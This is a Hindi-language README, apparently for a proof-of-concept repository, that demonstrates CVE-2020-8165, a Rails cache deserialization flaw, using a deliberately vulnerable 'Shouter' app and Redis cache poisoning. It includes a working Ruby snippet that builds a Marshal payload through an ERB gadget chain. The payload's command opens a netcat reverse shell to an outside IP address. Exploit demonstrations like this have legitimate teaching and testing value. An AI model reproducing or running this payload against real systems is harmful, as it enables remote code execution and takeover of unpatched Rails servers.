
CVE-2020-8165 Rails डिसीरियलाइज़ेशन RCE शोषण का प्रदर्शन, यथार्थवादी Shouter ऐप, Ruby में पेलोड जनरेशन, और Redis कैश पॉइज़निंग के साथ।
CVE-2020-8165 का एक और डेमो, हालांकि अधिक यथार्थवादी कार्यान्वयन में।
CVE-2020-8165
रेल्स < 5.2.4.3, रेल्स < 6.0.3.1 में अविश्वसनीय डेटा का डिसीरियलाइज़ेशन भेद्यता मौजूद है, जो किसी हमलावर को MemCacheStore और RedisCacheStore में उपयोगकर्ता द्वारा प्रदान की गई वस्तुओं को अनमार्शल करने की अनुमति दे सकती है, जिसके परिणामस्वरूप संभावित रूप से RCE हो सकता है।
"Shouter" ऐप में अपने Shout मॉडल में एक कैशिंग सुविधा है, जहाँ शाउट:स्ट्रिंग के साथ प्रस्तुत किए गए वैकल्पिक चित्र रेडिस में कैश किए जाते हैं और वहाँ से डीबी के बजाय प्राप्त किए जाते हैं। चूँकि कैश के साथ बातचीत करने के लिए कमजोर विधि का उपयोग किया जाता है, यह ऐप CVE-2020-8165 के लिए अतिसंवेदनशील है, और RCE के परिणाम डैशबोर्ड रूट में टैग के src में रखे जाते हैं।
Rails.cache.fetchimgनीचे दिया गया स्निपेट exploit.py का उपयोग करके आपको भेजने के लिए आवश्यक पेलोड उत्पन्न करेगा। सीरियलाइज़ेशन चरण में कुछ बारीकियाँ हैं जिन्हें एक्सप्लॉइट को पूरी तरह से Python में लागू करने के लिए समझने की आवश्यकता है। इसलिए, सटीक पेलोड उत्पन्न करने के लिए Ruby में Marshal.dump की आवश्यकता है (अभी के लिए)।
cmd = "Thread.new{system('nc 172.17.188.169 3001 -e /bin/bash')}"
erb = ERB.allocate
erb.instance_variable_set(:@src, cmd)
erb.instance_variable_set(:@lineno, 0)
payload_raw = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
payload = Marshal.dump(payload_raw)
p payload